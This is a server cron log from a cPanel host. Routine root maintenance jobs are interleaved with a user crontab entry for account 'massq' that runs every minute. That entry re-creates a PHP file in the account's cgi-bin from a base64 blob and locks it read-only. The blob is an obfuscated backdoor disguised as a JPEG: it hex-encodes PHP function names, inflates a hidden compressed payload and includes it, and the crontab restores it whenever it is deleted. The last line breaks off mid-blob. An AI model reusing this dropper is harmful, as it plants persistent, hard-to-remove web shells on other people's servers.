Sep  2 01:00:01 server CROND[22143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:00:01 server CROND[22147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:00:01 server CROND[22142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:00:01 server CROND[22148]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:00:01 server CROND[22144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:00:01 server CROND[22141]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 01:01:01 server CROND[23286]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 01:01:01 server CROND[23288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:01:01 server CROND[23290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:01:01 server run-parts(/etc/cron.hourly)[23286]: starting 0anacron
Sep  2 01:01:01 server CROND[23287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:01:01 server anacron[23307]: Anacron started on 2026-09-02
Sep  2 01:01:01 server anacron[23307]: Normal exit (0 jobs run)
Sep  2 01:01:01 server run-parts(/etc/cron.hourly)[23309]: finished 0anacron
Sep  2 01:02:01 server CROND[23740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:02:01 server CROND[23741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:02:01 server CROND[23742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:03:01 server CROND[24129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:03:01 server CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:03:01 server CROND[24131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:04:01 server CROND[24518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:04:01 server CROND[24517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:04:01 server CROND[24519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:05:01 server CROND[24913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:05:01 server CROND[24920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:05:01 server CROND[24924]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:05:01 server CROND[24926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:05:01 server CROND[24925]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:05:01 server CROND[24928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:05:01 server CROND[24927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:05:01 server CROND[24929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:06:01 server CROND[25861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:06:01 server CROND[25862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:06:01 server CROND[25863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:07:01 server CROND[26304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:07:01 server CROND[26306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:07:01 server CROND[26305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:08:01 server CROND[26682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:08:01 server CROND[26683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:08:01 server CROND[26684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:09:01 server CROND[27072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:09:01 server CROND[27073]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 01:09:01 server CROND[27074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:09:01 server CROND[27075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:10:01 server CROND[27472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:10:01 server CROND[27476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:10:01 server CROND[27478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:10:01 server CROND[27475]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:10:01 server CROND[27474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:10:01 server CROND[27479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:10:01 server CROND[27477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:10:01 server CROND[27480]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:11:01 server CROND[28410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAV